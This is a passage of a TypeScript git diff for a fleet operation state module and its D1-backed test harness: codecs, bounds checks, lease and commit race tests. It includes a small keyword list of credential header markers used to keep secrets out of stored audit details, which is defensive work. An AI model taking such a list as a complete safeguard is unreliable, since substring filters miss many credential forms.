FLEET_MIGRATION_PLAN_BOUND, + FLEET_OPERATION_ITEM_BOUND, + type FleetOperationProgress, + type FleetOperationRunRecord, + FleetOperationStateError, + fleetOperationFailureFromUnknown, + fleetOperationPlainRecord, + fleetOperationRunRecordFromUnknown, + fleetOperationSafeInteger, + fleetOperationSha256, +} from './fleet-operation-state.js'; + +export const FLEET_MIGRATION_STEPS = Object.freeze([ + 'retire-pre', + 'ready-target-backfill', + 'ready-platform-resources', + 'ready-maintenance', + 'ready-promote', + 'ready-attest-settle', + 'ready-retire-post', + 'admit-migrating', + 'assert-migrating', + 'platform-only-schema', + 'platform-only-resources', + 'platform-only-maintenance', + 'platform-only-promote', + 'platform-only-ready', + 'seed-identity', + 'apply-migrations', + 'migration-schema-applied', + 'platform-resources', + 'pending-topology', + 'deploy-candidate', + 'arm-maintenance', + 'promote', + 'settle-ready', + 'retire-post', +] as const); + +export type FleetMigrationStep = (typeof FLEET_MIGRATION_STEPS)[number]; + +export type FleetMigrationPlanEntry = Readonly<{ + step: FleetMigrationStep; + targetSchemaVersion?: number; +}>; + +export interface FleetMigrationItem { + readonly ordinal: number; + readonly tenantTag: string; + readonly environment: string; + readonly canaryRank?: number; + readonly entryRecordDigest: string; + readonly targetSpecDigest?: string; + readonly plan?: readonly FleetMigrationPlanEntry[]; + readonly planCursor?: number; + readonly status: 'pending' | 'active' | 'complete' | 'failed'; +} + +export interface FleetMigrationProgress extends FleetOperationProgress { + readonly kind: 'migration'; + readonly itemCount: number; + readonly activeItemOrdinal: number; + readonly completedItemCount: number; +} + +function malformed(): never { + throw new FleetOperationStateError(); +} + +export function fleetMigrationPlanEntryFromUnknown( + value: unknown, +): FleetMigrationPlanEntry { + const candidate = fleetOperationPlainRecord(value); + assertFleetOperationExactKeys(candidate, ['step'], ['targetSchemaVersion']); + if ( + typeof candidate.step !== 'string' || + !FLEET_MIGRATION_STEPS.includes(candidate.step as FleetMigrationStep) || + (candidate.step !== 'apply-migrations' && + candidate.targetSchemaVersion !== undefined) || + (candidate.targetSchemaVersion !== undefined && + !fleetOperationSafeInteger(candidate.targetSchemaVersion, 1)) + ) { + return malformed(); + } + return { + step: candidate.step as FleetMigrationStep, + ...(candidate.targetSchemaVersion === undefined + ? {} + : { targetSchemaVersion: candidate.targetSchemaVersion }), + }; +} + +export function fleetMigrationItemFromUnknown( + value: unknown, +): FleetMigrationItem { + const candidate = fleetOperationPlainRecord(value); + assertFleetOperationExactKeys( + candidate, + ['ordinal', 'tenantTag', 'environment', 'entryRecordDigest', 'status'], + ['canaryRank', 'targetSpecDigest', 'plan', 'planCursor'], + ); + if ( + !fleetOperationSafeInteger(candidate.ordinal) || + candidate.ordinal >= FLEET_OPERATION_ITEM_BOUND || + typeof candidate.tenantTag !== 'string' || + !isDeploymentTenantTag(candidate.tenantTag) || + typeof candidate.environment !== 'string' || + !isDeploymentEnvironment(candidate.environment) || + (candidate.canaryRank !== undefined && + (!fleetOperationSafeInteger(candidate.canaryRank) || + candidate.canaryRank >= FLEET_OPERATION_ITEM_BOUND)) || + !fleetOperationSha256(candidate.entryRecordDigest) || + (candidate.status !== 'pending' && + candidate.status !== 'active' && + candidate.status !== 'complete' && + candidate.status !== 'failed') + ) { + return malformed(); + } + const pending = candidate.status === 'pending'; + if ( + pending !== (candidate.targetSpecDigest === undefined) || + pending !== (candidate.plan === undefined) || + pending !== (candidate.planCursor === undefined) + ) { + return malformed(); + } + let plan: readonly FleetMigrationPlanEntry[] | undefined; + if (!pending) { + if ( + !fleetOperationSha256(candidate.targetSpecDigest) || + !Array.isArray(candidate.plan) || + candidate.plan.length === 0 || + candidate.plan.length > FLEET_MIGRATION_PLAN_BOUND || + !fleetOperationSafeInteger(candidate.planCursor) + ) { + return malformed(); + } + plan = candidate.plan.map(fleetMigrationPlanEntryFromUnknown); + if ( + candidate.planCursor > plan.length || + (candidate.status === 'active' && candidate.planCursor >= plan.length) || + (candidate.status === 'complete' && candidate.planCursor !== plan.length) + ) { + return malformed(); + } + } + return { + ordinal: candidate.ordinal, + tenantTag: candidate.tenantTag, + environment: candidate.environment, + ...(candidate.canaryRank === undefined + ? {} + : { canaryRank: candidate.canaryRank }), + entryRecordDigest: candidate.entryRecordDigest, + ...(pending + ? {} + : { + targetSpecDigest: candidate.targetSpecDigest as string, + plan: plan as readonly FleetMigrationPlanEntry[], + planCursor: candidate.planCursor as number, + }), + status: candidate.status, + }; +} + +export function fleetMigrationProgressFromUnknown( + value: unknown, +): FleetMigrationProgress { + const candidate = fleetOperationPlainRecord(value); + assertFleetOperationExactKeys( + candidate, + [ + 'kind', + 'revision', + 'itemCount', + 'activeItemOrdinal', + 'completedItemCount', + ], + ['failure'], + ); + if ( + candidate.kind !== 'migration' || + !fleetOperationSafeInteger(candidate.revision) || + !fleetOperationSafeInteger(candidate.itemCount) || + candidate.itemCount > FLEET_OPERATION_ITEM_BOUND || + !fleetOperationSafeInteger(candidate.activeItemOrdinal) || + candidate.activeItemOrdinal > candidate.itemCount || + !fleetOperationSafeInteger(candidate.completedItemCount) || + candidate.completedItemCount > candidate.itemCount + ) { + return malformed(); + } + const failure = + candidate.failure === undefined + ? undefined + : fleetOperationFailureFromUnknown(candidate.failure); + return { + kind: 'migration', + revision: candidate.revision, + itemCount: candidate.itemCount, + activeItemOrdinal: candidate.activeItemOrdinal, + completedItemCount: candidate.completedItemCount, + ...(failure === undefined ? {} : { failure }), + }; +} + +export function fleetMigrationOperationRecordFromUnknown( + value: unknown, +): FleetOperationRunRecord & Readonly<{ progress: FleetMigrationProgress }> { + const record = fleetOperationRunRecordFromUnknown(value); + if (record.kind !== 'migration') return malformed(); + return { + ...record, + progress: fleetMigrationProgressFromUnknown(record.progress), + }; +} diff --git a/packages/fleet-control/src/fleet-operation-state.ts b/packages/fleet-control/src/fleet-operation-state.ts new file mode 100644 index 00000000..bc4a2ad5 --- /dev/null +++ b/packages/fleet-control/src/fleet-operation-state.ts @@ -0,0 +1,541 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { cloneBoundedPlainData } from './strict-plain-data.js'; + +export const FLEET_OPERATION_RECORD_BYTE_BOUND = 96 * 1024; +export const FLEET_OPERATION_TOKEN_BYTE_BOUND = 1024; +export const FLEET_OPERATION_STRING_BYTE_BOUND = 4096; +export const FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND = 16 * 1024; +export const FLEET_OPERATION_RECORD_ROW_BYTE_BOUND = 96 * 1024; +const DEPTH_BOUND = 64; +const NODE_BOUND = 8192; +export const FLEET_OPERATION_ITEM_BOUND = 10_000; +/** + * Total serialized intake bytes per operation. The operative per-call memory + * envelope also includes the materialized inventory generation. + */ +export const FLEET_OPERATION_INTAKE_BYTE_BOUND = 16 * 1024 * 1024; +/** Statements per D1 batch used by the staging protocol. */ +export const FLEET_OPERATION_STAGE_BATCH_STATEMENTS = 100; +/** Frozen plan length cap (fixed steps plus pending D1 versions). */ +export const FLEET_MIGRATION_PLAN_BOUND = 64; + +const UUID_V4 = + /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u; +const CREDENTIAL_SUBSTRINGS = Object.freeze([ + 'authorization', + 'bearer', + 'x-auth', + 'api_token', +]); +const STRUCTURED_CLONE = structuredClone; + +export const FLEET_OPERATION_KINDS = Object.freeze([ + 'audit', + 'migration', +] as const); +export type FleetOperationKind = (typeof FLEET_OPERATION_KINDS)[number]; +export type FleetOperationRowKind = 'record' | 'finding' | 'item' | 'fact'; + +export const FLEET_OPERATION_ROW_KINDS: readonly FleetOperationRowKind[] = + Object.freeze(['record', 'finding', 'item', 'fact']); + +export interface FleetOperationToken { + readonly version: 1; + readonly operationId: string; + readonly revision: number; +} + +export interface FleetOperationProgress { + readonly kind: FleetOperationKind; + readonly revision: number; + readonly failure?: FleetOperationFailure; +} + +export interface FleetOperationFailure { + readonly reason: + | 'item-failed' + | 'target-drift' + | 'emission-bound-exceeded' + | 'generation-unavailable' + | 'operator-abandoned'; + readonly itemOrdinal?: number; +} + +export interface FleetOperationRunRecord { + readonly version: 1; + readonly operationId: string; + readonly kind: FleetOperationKind; + readonly state: 'running' | 'finalized' | 'failed'; + readonly progress: FleetOperationProgress; + readonly updatedAt: string; + readonly terminalAtMs?: number; +} + +export interface FleetOperationStagedRow { + readonly rowKind: FleetOperationRowKind; + readonly ordinal: number; + readonly payload: Readonly>; +} + +export class FleetOperationStateError extends Error { + constructor() { + super('fleet operation state is malformed'); + this.name = 'FleetOperationStateError'; + } +} + +export class FleetOperationTokenError extends Error { + constructor() { + super('fleet operation token is malformed'); + this.name = 'FleetOperationTokenError'; + } +} + +export class FleetOperationTokenOperationError extends Error { + constructor(readonly operationId: string) { + super(`no fleet operation '${operationId}'`); + this.name = 'FleetOperationTokenOperationError'; + } +} + +export class FleetOperationTokenKindError extends Error { + constructor() { + super('fleet operation token targets another operation kind'); + this.name = 'FleetOperationTokenKindError'; + } +} + +export class FleetOperationTokenFutureError extends Error { + constructor() { + super('fleet operation token is ahead of the persisted operation'); + this.name = 'FleetOperationTokenFutureError'; + } +} + +export class FleetOperationStoreCapabilityError extends Error { + constructor() { + super( + 'fleet operation store requires an inventory store to release audit pins', + ); + this.name = 'FleetOperationStoreCapabilityError'; + } +} + +export interface FleetOperationStore { + withAccountOperationLease( + kind: FleetOperationKind, + operation: (lease: FleetOperationLease) => Promise, + ): Promise; + readOperationById( + operationId: string, + ): Promise; + readOperationRowsPage( + input: Readonly<{ + operationId: string; + rowKind: FleetOperationRowKind; + afterOrdinal?: number; + limit: number; + }>, + ): Promise< + Readonly<{ + rows: readonly FleetOperationStagedRow[]; + done: boolean; + }> + >; + pruneFleetOperations( + input: Readonly<{ + kind: FleetOperationKind; + limit: number; + }>, + ): Promise>; +} + +export interface FleetOperationLease { + assertOwned(): Promise; + startOperation( + input: Readonly<{ + operationId: string; + kind: FleetOperationKind; + runRecord: FleetOperationRunRecord; + intakeDigest: string; + }>, + ): Promise< + Readonly<{ + outcome: 'created' | 'adopted-running' | 'adopted-terminal'; + record: FleetOperationRunRecord; + }> + >; + readOperation( + operationId: string, + ): Promise; + stageRows( + input: Readonly<{ + operationId: string; + expectedRevision: number; + rows: readonly FleetOperationStagedRow[]; + }>, + ): Promise; + commitProgress( + input: Readonly<{ + operationId: string; + expectedRevision: number; + runRecord: FleetOperationRunRecord; + rows?: readonly FleetOperationStagedRow[]; + updateRows?: readonly FleetOperationStagedRow[]; + expectedRowWatermarks?: Readonly< + Partial> + >; + }>, + ): Promise; + finalizeOperation( + input: Readonly<{ + operationId: string; + expectedRevision: number; + runRecord: FleetOperationRunRecord; + expectedRowCounts: Readonly< + Partial> + >; + requireAllItemsComplete?: boolean; + }>, + ): Promise; + failOperation( + input: Readonly<{ + operationId: string; + expectedRevision: number; + runRecord: FleetOperationRunRecord; + updateRows?: readonly FleetOperationStagedRow[]; + }>, + ): Promise; +} + +function malformed(): never { + throw new FleetOperationStateError(); +} + +function utf8Length(value: string): number { + return new TextEncoder().encode(value).byteLength; +} + +export function fleetOperationTextHasControlBytes(value: string): boolean { + for (const character of value) { + const codePoint = character.codePointAt(0); + if ( + codePoint !== undefined && + (codePoint <= 0x1f || (codePoint >= 0x7f && codePoint <= 0x9f)) + ) { + return true; + } + } + return false; +} + +export function fleetOperationSafeInteger( + value: unknown, + minimum = 0, +): value is number { + return Number.isSafeInteger(value) && Number(value) >= minimum; +} + +export function fleetOperationPlainRecord( + value: unknown, +): Record { + if (!value || typeof value !== 'object' || Array.isArray(value)) { + return malformed(); + } + return value as Record; +} + +export function assertFleetOperationExactKeys( + value: Record, + required: readonly string[], + optional: readonly string[] = [], +): void { + const allowed = new Set([...required, ...optional]); + if ( + !required.every((key) => Object.hasOwn(value, key)) || + Object.keys(value).some((key) => !allowed.has(key)) + ) { + malformed(); + } +} + +export function fleetOperationBoundedString(value: unknown): value is string { + return ( + typeof value === 'string' && + value.length > 0 && + utf8Length(value) <= FLEET_OPERATION_STRING_BYTE_BOUND + ); +} + +export function fleetOperationSha256(value: unknown): value is string { + return typeof value === 'string' && /^[0-9a-f]{64}$/u.test(value); +} + +function canonicalIso(value: unknown): value is string { + return ( + typeof value === 'string' && + Number.isFinite(Date.parse(value)) && + new Date(value).toISOString() === value + ); +} + +export function fleetOperationBoundedPlain( + value: unknown, + maxBytes: number, +): unknown { + try { + const plain = cloneBoundedPlainData(value, { + maxDepth: DEPTH_BOUND, + maxNodes: NODE_BOUND, + maxScalarBytes: maxBytes, + maxSerializedBytes: maxBytes, + error: () => new FleetOperationStateError(), + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); + const pending = [plain]; + while (pending.length > 0) { + const current = pending.pop(); + if ( + typeof current === 'string' && + utf8Length(current) > FLEET_OPERATION_STRING_BYTE_BOUND + ) { + return malformed(); + } + if (Array.isArray(current)) pending.push(...current); + else if (current && typeof current === 'object') { + for (const [key, entry] of Object.entries(current)) { + if (utf8Length(key) > FLEET_OPERATION_STRING_BYTE_BOUND) { + return malformed(); + } + pending.push(entry); + } + } + } + return plain; + } catch { + return malformed(); + } +} + +export function fleetOperationFailureFromUnknown( + value: unknown, +): FleetOperationFailure { + const candidate = fleetOperationPlainRecord(value); + assertFleetOperationExactKeys(candidate, ['reason'], ['itemOrdinal']); + if ( + candidate.reason !== 'item-failed' && + candidate.reason !== 'target-drift' && + candidate.reason !== 'emission-bound-exceeded' && + candidate.reason !== 'generation-unavailable' && + candidate.reason !== 'operator-abandoned' + ) { + return malformed(); + } + if ( + candidate.itemOrdinal !== undefined && + (!fleetOperationSafeInteger(candidate.itemOrdinal) || + candidate.itemOrdinal >= FLEET_OPERATION_ITEM_BOUND) + ) { + return malformed(); + } + return { + reason: candidate.reason, + ...(candidate.itemOrdinal === undefined + ? {} + : { itemOrdinal: candidate.itemOrdinal }), + }; +} + +function progressEnvelopeFromUnknown(value: unknown): FleetOperationProgress { + const candidate = fleetOperationPlainRecord(value); + if ( + !FLEET_OPERATION_KINDS.includes(candidate.kind as FleetOperationKind) || + !fleetOperationSafeInteger(candidate.revision) + ) { + return malformed(); + } + return { + ...candidate, + kind: candidate.kind as FleetOperationKind, + revision: candidate.revision, + ...(candidate.failure === undefined + ? {} + : { failure: fleetOperationFailureFromUnknown(candidate.failure) }), + } as FleetOperationProgress; +} + +/** Strict operation envelope codec; kind-specific fields remain bounded data. */ +export function fleetOperationRunRecordFromUnknown( + value: unknown, +): FleetOperationRunRecord { + const candidate = fleetOperationPlainRecord( + fleetOperationBoundedPlain(value, FLEET_OPERATION_RECORD_BYTE_BOUND), + ); + assertFleetOperationExactKeys( + candidate, + ['version', 'operationId', 'kind', 'state', 'progress', 'updatedAt'], + ['terminalAtMs'], + ); + if ( + candidate.version !== 1 || + typeof candidate.operationId !== 'string' || + !UUID_V4.test(candidate.operationId) || + !FLEET_OPERATION_KINDS.includes(candidate.kind as FleetOperationKind) || + (candidate.state !== 'running' && + candidate.state !== 'finalized' && + candidate.state !== 'failed') || + !canonicalIso(candidate.updatedAt) || + (candidate.terminalAtMs !== undefined && + !fleetOperationSafeInteger(candidate.terminalAtMs)) + ) { + return malformed(); + } + const progress = progressEnvelopeFromUnknown(candidate.progress); + if (progress.kind !== candidate.kind) return malformed(); + return { + version: 1, + operationId: candidate.operationId, + kind: candidate.kind as FleetOperationKind, + state: candidate.state, + progress, + updatedAt: candidate.updatedAt, + ...(candidate.terminalAtMs === undefined + ? {} + : { terminalAtMs: candidate.terminalAtMs }), + }; +} + +/** Strict staged-row envelope codec with the larger record-row allowance. */ +export function fleetOperationStagedRowFromUnknown( + value: unknown, +): FleetOperationStagedRow { + const candidate = fleetOperationPlainRecord(value); + assertFleetOperationExactKeys(candidate, ['rowKind', 'ordinal', 'payload']); + if ( + typeof candidate.rowKind !== 'string' || + !FLEET_OPERATION_ROW_KINDS.includes( + candidate.rowKind as FleetOperationRowKind, + ) || + !fleetOperationSafeInteger(candidate.ordinal) + ) { + return malformed(); + } + const maxBytes = + candidate.rowKind === 'record' + ? FLEET_OPERATION_RECORD_ROW_BYTE_BOUND + : FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND; + const payload = fleetOperationPlainRecord( + fleetOperationBoundedPlain(candidate.payload, maxBytes), + ); + return { + rowKind: candidate.rowKind as FleetOperationRowKind, + ordinal: candidate.ordinal, + payload: { ...payload }, + }; +} + +/** Strict token codec; the token carries no account, kind, intake, or cursor. */ +export function parseFleetOperationToken(value: unknown): FleetOperationToken { + let plain: unknown; + try { + plain = cloneBoundedPlainData(value, { + maxDepth: 4, + maxNodes: 16, + maxScalarBytes: FLEET_OPERATION_TOKEN_BYTE_BOUND, + maxSerializedBytes: FLEET_OPERATION_TOKEN_BYTE_BOUND, + error: () => new FleetOperationTokenError(), + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); + } catch { + throw new FleetOperationTokenError(); + } + try { + const candidate = fleetOperationPlainRecord(plain); + assertFleetOperationExactKeys(candidate, [ + 'version', + 'operationId', + 'revision', + ]); + if ( + candidate.version !== 1 || + typeof candidate.operationId !== 'string' || + !UUID_V4.test(candidate.operationId) || + !fleetOperationSafeInteger(candidate.revision) + ) { + throw new FleetOperationTokenError(); + } + return { + version: 1, + operationId: candidate.operationId, + revision: candidate.revision, + }; + } catch { + throw new FleetOperationTokenError(); + } +} + +/** Validates caller-chosen operation identity before any store mutation. */ +export function assertFleetOperationId(value: unknown): void { + if (typeof value !== 'string' || !UUID_V4.test(value)) { + throw new FleetOperationStateError(); + } +} + +export function classifyFleetOperationToken( + token: FleetOperationToken, + run: FleetOperationRunRecord | undefined, + expectedKind: FleetOperationKind, +): 'current' | 'stale' { + const parsed = parseFleetOperationToken(token); + if (!run || run.operationId !== parsed.operationId) { + throw new FleetOperationTokenOperationError(parsed.operationId); + } + if (run.kind !== expectedKind) throw new FleetOperationTokenKindError(); + if (parsed.revision > run.progress.revision) { + throw new FleetOperationTokenFutureError(); + } + return parsed.revision === run.progress.revision ? 'current' : 'stale'; +} + +function canonicalValue(value: unknown): unknown { + if (Array.isArray(value)) return value.map(canonicalValue); + if (value && typeof value === 'object') { + return Object.fromEntries( + Object.entries(value) + .sort(([left], [right]) => (left < right ? -1 : 1)) + .map(([key, entry]) => [key, canonicalValue(entry)]), + ); + } + return value; +} + +/** Recursive sorted-key JSON used for intake digests and record rows. */ +export function canonicalFleetOperationBytes(value: unknown): string { + const plain = fleetOperationBoundedPlain( + value, + FLEET_OPERATION_INTAKE_BYTE_BOUND, + ); + return JSON.stringify(canonicalValue(plain)); +} + +/** SHA-256 of canonical intake, refusing an operation above 16 MiB. */ +export function fleetOperationIntakeDigest(value: unknown): string { + return createHash('sha256') + .update(canonicalFleetOperationBytes(value)) + .digest('hex'); +} + +/** Non-throwing write gate for composed audit finding details. */ +export function isDurableAuditDetailSafe(value: string): boolean { + if ( + typeof value !== 'string' || + utf8Length(value) > FLEET_OPERATION_STRING_BYTE_BOUND || + fleetOperationTextHasControlBytes(value) + ) { + return false; + } + const lowered = value.toLowerCase(); + return !CREDENTIAL_SUBSTRINGS.some((marker) => lowered.includes(marker)); +} diff --git a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts index 12e47c26..53e07588 100644 --- a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts @@ -8,6 +8,7 @@ import { import { D1CloudflareApiRateCoordinator } from '../../src/cloudflare-rate-coordinator.js'; import { initialWorkerAttachmentScan } from '../../src/cloudflare-worker-attachment-scan-state.js'; import { D1FleetInventoryRunStore } from '../../src/d1-fleet-inventory-run-store.js'; +import { D1FleetOperationStore } from '../../src/d1-fleet-operation-store.js'; import { D1FleetStateDatabase } from '../../src/d1-fleet-state-database.js'; import { advanceDecommissionDeployment } from '../../src/decommission-advance.js'; import { @@ -19,6 +20,11 @@ import { type FleetInventoryStagedRow, fleetInventoryOptionsDigest, } from '../../src/fleet-inventory-state.js'; +import type { + FleetOperationKind, + FleetOperationRunRecord, + FleetOperationStagedRow, +} from '../../src/fleet-operation-state.js'; import { canonicalDeploymentEgressPolicy, externalEgressProxyScriptName, @@ -3130,6 +3136,478 @@ async function inventoryColdConcurrentSchema(db: D1Database): Promise { }; } +const OPERATION_TABLES = [ + 'anchorage_fleet_operation_heads', + 'anchorage_fleet_operation_leases', + 'anchorage_fleet_operation_rows', + 'anchorage_fleet_operations', +]; +const OPERATION_LEASE_TABLE = 'anchorage_fleet_operation_leases'; +const OPERATION_ACCOUNT = 'account-operation'; + +function operationId(index: number): string { + return `123e4567-e89b-42d3-a456-42661417${String(4300 + index)}`; +} + +function operationRun( + kind: FleetOperationKind, + id: string, + revision = 0, + state: 'running' | 'finalized' | 'failed' = 'running', +): FleetOperationRunRecord { + return { + version: 1, + operationId: id, + kind, + state, + progress: + kind === 'audit' + ? { + kind, + revision, + stage: { step: 'provider-findings', rowOrdinal: 0 }, + generation: 1, + auditTimeMs: 1_700_000_000_000, + staleAfterMs: 60_000, + recordCount: 1, + findingCount: 0, + factCount: 0, + ...(state === 'failed' + ? { failure: { reason: 'operator-abandoned' as const } } + : {}), + } + : { + kind, + revision, + itemCount: 0, + activeItemOrdinal: 0, + completedItemCount: 0, + ...(state === 'failed' + ? { failure: { reason: 'operator-abandoned' as const } } + : {}), + }, + updatedAt: '2026-09-01T00:00:00.000Z', + } as unknown as FleetOperationRunRecord; +} + +function operationAdvanced( + record: FleetOperationRunRecord, + state: 'running' | 'finalized' | 'failed' = 'running', +): FleetOperationRunRecord { + return { + ...record, + state, + progress: { + ...record.progress, + revision: record.progress.revision + 1, + ...(state === 'failed' + ? { failure: { reason: 'operator-abandoned' as const } } + : {}), + }, + }; +} + +function operationFinding(ordinal: number): FleetOperationStagedRow { + return { + rowKind: 'finding', + ordinal, + payload: { + tenantTag: 'tenant', + environment: 'production', + kind: 'audit-error', + detail: `safe finding ${ordinal}`, + }, + }; +} + +function operationStore( + database: FleetStateDatabase, + accountId = OPERATION_ACCOUNT, +): D1FleetOperationStore { + return new D1FleetOperationStore(database, { accountId }); +} + +async function readyOperationStore( + db: D1Database, +): Promise { + const target = operationStore(new D1FleetStateDatabase(db)); + await target.readOperationById(operationId(0)); + for (const table of OPERATION_TABLES) { + await db.prepare(`DELETE FROM ${table}`).run(); + } + return target; +} + +function operationStart( + lease: Parameters< + Parameters[1] + >[0], + kind: FleetOperationKind, + id: string, +) { + return lease.startOperation({ + operationId: id, + kind, + runRecord: operationRun(kind, id), + intakeDigest: 'a'.repeat(64), + }); +} + +async function operationStartAtomicity(db: D1Database): Promise { + await readyOperationStore(db); + const id = operationId(0); + const stores = Array.from({ length: 16 }, () => + operationStore(new D1FleetStateDatabase(db)), + ); + const attempts = await Promise.allSettled( + stores.map((target) => + target.withAccountOperationLease('audit', (lease) => + operationStart(lease, 'audit', id), + ), + ), + ); + const head = await db + .prepare( + `SELECT active_operation_id FROM anchorage_fleet_operation_heads + WHERE account_id = ? AND operation_kind = 'audit'`, + ) + .bind(OPERATION_ACCOUNT) + .first<{ active_operation_id: string | null }>(); + const count = await db + .prepare( + `SELECT COUNT(*) AS count FROM anchorage_fleet_operations + WHERE account_id = ?`, + ) + .bind(OPERATION_ACCOUNT) + .first<{ count: number }>(); + return { + started: attempts.filter((attempt) => attempt.status === 'fulfilled') + .length, + rejected: attempts.filter((attempt) => attempt.status === 'rejected') + .length, + activeOperationId: head?.active_operation_id ?? null, + operations: Number(count?.count), + }; +} + +async function operationCommitConcurrency(db: D1Database): Promise { + const target = await readyOperationStore(db); + const id = operationId(1); + return target.withAccountOperationLease('audit', async (lease) => { + const created = await operationStart(lease, 'audit', id); + const intended = operationAdvanced(created.record); + const inputs = Array.from({ length: 16 }, (_unused, ordinal) => ({ + operationId: id, + expectedRevision: 0, + runRecord: intended, + rows: [operationFinding(ordinal)], + })); + const attempts = await Promise.allSettled( + inputs.map((input) => lease.commitProgress(input)), + ); + const winner = attempts.findIndex( + (attempt) => attempt.status === 'fulfilled', + ); + if (winner < 0) throw new Error('operation commit race had no winner'); + const before = (await lease.readOperation(id))?.progress.revision; + const replay = await lease.commitProgress( + inputs[winner] as (typeof inputs)[number], + ); + const after = (await lease.readOperation(id))?.progress.revision; + const rows = await db + .prepare( + `SELECT ordinal FROM anchorage_fleet_operation_rows + WHERE account_id = ? AND operation_id = ? ORDER BY ordinal`, + ) + .bind(OPERATION_ACCOUNT, id) + .all<{ ordinal: number }>(); + return { + winners: attempts.filter((attempt) => attempt.status === 'fulfilled') + .length, + losers: attempts.filter((attempt) => attempt.status === 'rejected') + .length, + rowOrdinals: rows.results.map((row) => Number(row.ordinal)), + replayRevision: replay.progress.revision, + noSecondAdvance: before === after, + }; + }); +} + +async function operationFinalizeConvergence(db: D1Database): Promise { + await readyOperationStore(db); + const database = inventoryLostResponse(new D1FleetStateDatabase(db)); + const target = operationStore(database); + const id = operationId(2); + return target.withAccountOperationLease('migration', async (lease) => { + const created = await operationStart(lease, 'migration', id); + const input = { + operationId: id, + expectedRevision: 0, + runRecord: operationAdvanced(created.record, 'finalized'), + expectedRowCounts: {}, + }; + database.loseNextBatch(); + const first = await lease.finalizeOperation(input); + const replay = await lease.finalizeOperation(input); + const head = await db + .prepare( + `SELECT active_operation_id FROM anchorage_fleet_operation_heads + WHERE account_id = ? AND operation_kind = 'migration'`, + ) + .bind(OPERATION_ACCOUNT) + .first<{ active_operation_id: string | null }>(); + return { + identical: JSON.stringify(first) === JSON.stringify(replay), + revision: replay.progress.revision, + terminalAtMs: replay.terminalAtMs, + activeOperationId: head?.active_operation_id ?? null, + }; + }); +} + +async function operationRowsReadback(db: D1Database): Promise { + const target = await readyOperationStore(db); + const id = operationId(3); + await target.withAccountOperationLease('audit', async (lease) => { + await operationStart(lease, 'audit', id); + await lease.stageRows({ + operationId: id, + expectedRevision: 0, + rows: [operationFinding(2), operationFinding(0), operationFinding(1)], + }); + }); + const first = await target.readOperationRowsPage({ + operationId: id, + rowKind: 'finding', + limit: 2, + }); + const second = await target.readOperationRowsPage({ + operationId: id, + rowKind: 'finding', + afterOrdinal: 1, + limit: 2, + }); + return { + first: first.rows.map((row) => row.ordinal), + firstDone: first.done, + second: second.rows.map((row) => row.ordinal), + secondDone: second.done, + }; +} + +async function operationCorruptUnreadable(db: D1Database): Promise { + const target = await readyOperationStore(db); + const id = operationId(4); + await target.withAccountOperationLease('audit', async (lease) => { + await operationStart(lease, 'audit', id); + await lease.stageRows({ + operationId: id, + expectedRevision: 0, + rows: [operationFinding(0)], + }); + }); + await db + .prepare( + `UPDATE anchorage_fleet_operation_rows SET payload = '{' + WHERE account_id = ? AND operation_id = ?`, + ) + .bind(OPERATION_ACCOUNT, id) + .run(); + return target + .readOperationRowsPage({ operationId: id, rowKind: 'finding', limit: 10 }) + .then( + () => null, + (error: unknown) => errorShape(error), + ); +} + +async function seedOperationTerminal( + target: D1FleetOperationStore, + id: string, + state: 'finalized' | 'failed', +): Promise { + await target.withAccountOperationLease('migration', async (lease) => { + const created = await operationStart(lease, 'migration', id); + const terminal = operationAdvanced(created.record, state); + if (state === 'finalized') { + await lease.finalizeOperation({ + operationId: id, + expectedRevision: 0, + runRecord: terminal, + expectedRowCounts: {}, + }); + } else { + await lease.failOperation({ + operationId: id, + expectedRevision: 0, + runRecord: terminal, + }); + } + }); +} + +async function operationPruneOrder(db: D1Database): Promise { + const target = await readyOperationStore(db); + for (const [index, id] of [ + operationId(10), + operationId(11), + operationId(12), + ].entries()) { + await seedOperationTerminal( + target, + id, + index === 2 ? 'finalized' : 'failed', + ); + await db + .prepare( + `UPDATE anchorage_fleet_operations SET terminal_at_ms = ? + WHERE account_id = ? AND operation_id = ?`, + ) + .bind(index + 1, OPERATION_ACCOUNT, id) + .run(); + } + await target.withAccountOperationLease('migration', (lease) => + operationStart(lease, 'migration', operationId(13)), + ); + const pruned = await target.pruneFleetOperations({ + kind: 'migration', + limit: 1, + }); + const remaining = await db + .prepare( + `SELECT operation_id FROM anchorage_fleet_operations + WHERE account_id = ? ORDER BY operation_id`, + ) + .bind(OPERATION_ACCOUNT) + .all<{ operation_id: string }>(); + return { + pruned, + remaining: remaining.results.map((row) => row.operation_id), + }; +} + +async function operationLeaseLifecycle(db: D1Database): Promise { + await readyOperationStore(db); + await db + .prepare( + `INSERT INTO ${OPERATION_LEASE_TABLE} ( + account_id, operation_kind, owner_token, expires_at + ) VALUES (?, 'audit', 'abandoned-token', 1)`, + ) + .bind(OPERATION_ACCOUNT) + .run(); + const takeover = await operationStore( + new D1FleetStateDatabase(db), + ).withAccountOperationLease('audit', async (auditLease) => { + await auditLease.assertOwned(); + return operationStore( + new D1FleetStateDatabase(db), + ).withAccountOperationLease('migration', async (migrationLease) => { + await migrationLease.assertOwned(); + return 'independent'; + }); + }); + const clock = controlledLeaseClock(db, OPERATION_LEASE_TABLE); + const target = new D1FleetOperationStore(clock.database, { + accountId: OPERATION_ACCOUNT, + leaseTtlMs: 2_500, + leaseRenewalIntervalMs: 1, + }); + let contenderRejected = false; + await target.withAccountOperationLease('audit', async () => { + const original = await clock.database.query( + `SELECT expires_at FROM ${OPERATION_LEASE_TABLE} + WHERE account_id = ? AND operation_kind = 'audit'`, + [OPERATION_ACCOUNT], + ); + const originalExpiresAt = Number(original[0]?.expires_at); + if (!Number.isFinite(originalExpiresAt)) { + throw new Error('operation lease did not expose the original expiry'); + } + clock.advance(2_000); + clock.allowHeartbeat(); + await clock.heartbeat; + clock.advance(600); + try { + await new D1FleetOperationStore(clock.database, { + accountId: 